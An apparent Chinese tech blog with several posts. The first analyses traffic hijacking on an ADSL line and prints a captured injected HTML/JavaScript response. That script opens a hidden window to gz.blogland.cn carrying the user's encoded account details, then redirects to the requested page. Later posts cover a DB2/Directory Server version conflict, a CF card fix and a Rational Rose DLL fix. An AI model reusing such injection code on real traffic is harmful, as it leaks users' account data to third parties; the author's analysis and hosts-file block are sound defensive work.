来自gz.blogland.cn的袭击

——最近在家里用ADSL上网,如果用的浏览器是Maxthon时不时会打开http://gz.blogland.cn/…..
这样的页面,内容没有仔细看,但是总是感觉不爽,用FireFox到目前为止还没有类似情况,估计
是我的IE给劫持了?

——Ok,作为一个技术人员,我们分析一下这个问题。首先,这个页面在Maxthon上面打开没有
什么内容。直接访问gz.blogland.cn的话,是403错误。然后我去whois一把这个该死的网站的注
册信息吧:
域名 blogland.cn
域名联系人 李XX
注册者 深圳市傲X信息技术有限公司
然后到傲X的网站一看,一家跟移动、电信、联通、网通都有业务的公司,不用说了,答案已经
很清晰而且是欲言又止的那种啦。好,用Axis(是Java写过WebService的人都知道这个东西
是什么)自带的TCPMonitor工具做做监控。我们就监听一下访问www.google.com的请求。
好,把ADSL断掉,然后重新拨号上网,讲localhost的80端口作为监听www.google.com请
求,用IE访问google主页,好了,我们就可以从IE收回来的response上面看到如下恐怖的信
息:

HTTP/1.1 200 OK
Date: Mon, 31 Mar 2003 01:24:22 GMT
Server: Apache/2.0.43 (Unix)
Content-Type: text/html
Connection: close
<HTML><script language=”JavaScript”>
function newwin()
{var urlname;var win_attr;win_attr=’toolbar=no,menubar=no,scrollbars=no,status=no,location=no
,resizable=no,fullscreen=no,directories=no,width=1,height=1,top=5000,left=500
0′;window.open(‘http://gz.blogland.cn/ndatin.aspx?param=XXXX(略,其实是base64的编码,里面有我的ADSL帐号信息!)’,’ips_win0′,win_attr);
}
</script>
<head><title></title><META HTTP-EQUIV=”Pragma” CONTENT=”no-cache”><META http-equiv=”Content-Type” content=”text/html;charset=gb2312″><meta http-equiv=”Refresh” content=”0; url=http://www.google.com/”></head><body onload=’newwin()’> </body></html>

稍微回一点JavaScript的人都知道这个是什么回事了吧?我从浏览器发出一个访问www.google.com
的请求,然后回返回一个弹出新窗口到gz.blogland.cn而且在本窗口自动跳转到原定目标,可
想而知,我的请求在那里给人拦截且修改了。拙劣卑鄙的手段,不想多说,不想继续查下去了,
无奈。唯一办法,改hosts文件,加入127.0.0.1 gz.blogland.cn,老子就是不给你发数据!

民工血泪史——新版本不是随便追求的

——最近几天趁有空,作作实验,其中一部分内容需要用到IBM Tivoli Directory Server,结果
就找了个5.2的版本安装,因为IDS需要用到DB2,于是就找了个新版本的DB2 v8.2来装上去。
安装过程不表,但是结果IDS的LDAP服务老是有问题。在上面做不了增加或者搜索的操作。折腾
了两天,最后把8.2卸载换成了8.1,结果原来的异常情况消失了。后来跟前人确认,果然是IDS的
5.2跟DB2v8.2是连不起来的。分特啊~~

CF卡复活记

——因为同学结婚,所以要用DC,于是使用前一天特意将原来放在PDA上面的那1G的
Kingston CF卡也取下来,备份好里面的东西,然后用读卡器重新Format了一把(文件
系统使用FAT,而不是FAT32,怕DC认不出来)。插到我的A2上面,结果显示“无法使
用该卡”,昏倒,难道Format出事了?然后用读卡器再次进行Format,使用文件系统为
FAT32,还是不行。倒。在读卡器和PDA上面都能够正常读写。好放入PDA上面,用上
面的PDA工具进行Format,分别用Resco的资源管理器和Pocket Mechanic来Format,
放到A2上面还是不认,但是同牌子同型号的另外一张CF卡却一直正常。百般无奈之下,
因为家里没有其他用CF卡的DC了,只好也带上这张有问题的卡上路,看看是不是A2的
问题。

——到了同学处,用他那台旧的Pentax相机放入CF卡之后,居然能认出来,用该相机对
CF卡进行Format,取出来放入到A2上面,靠,居然能够认卡了!到底是这张Kingston
的卡出了问题,还是柯美A2那个臭名昭著的CF兼容性出了问题呢?结果到现在还是不得
而知的。anyway,这张卡能用就行了。

WINXP SP2+ROSE 2003的”MEM_BAD_POINTER”的解决办法

——今天不得不重拾多年没用的“肉丝”,退出的时候还是弹出那个该死的“MEM_BAD_POINTER”
的提示框。千错万错就是因为SP2跟某些软件比较低版本的shw32.dll冲突有关。替换掉
相应应用程序的这个dll就是了。

解决办法:

1) extract shw32.dll from the attached zip file.

2) locate the copy of shw32.dll that the affected program (the one
that’s giving the MEM_BAD_POINTER error) is using. Rename this file,
or move it to some other directory for safe keeping. Note: this step
is not strictly necessary, BUT if you experience problems with our
new DLL, the first thing we’re going to suggest is that you revert to
your old one.

3) with your old shw32.dll renamed or moved for safe keeping, install
the new shw32.dll where the old one used to be. Now run your app as
usual and verify that the error no longer appears.

4) if after step 3 you still see the MEM_BAD_POINTER error, search
your hard drives for any other occurrences of shw32.dll and replace
those (using the above procedures), one at a time, until the error no
longer appears.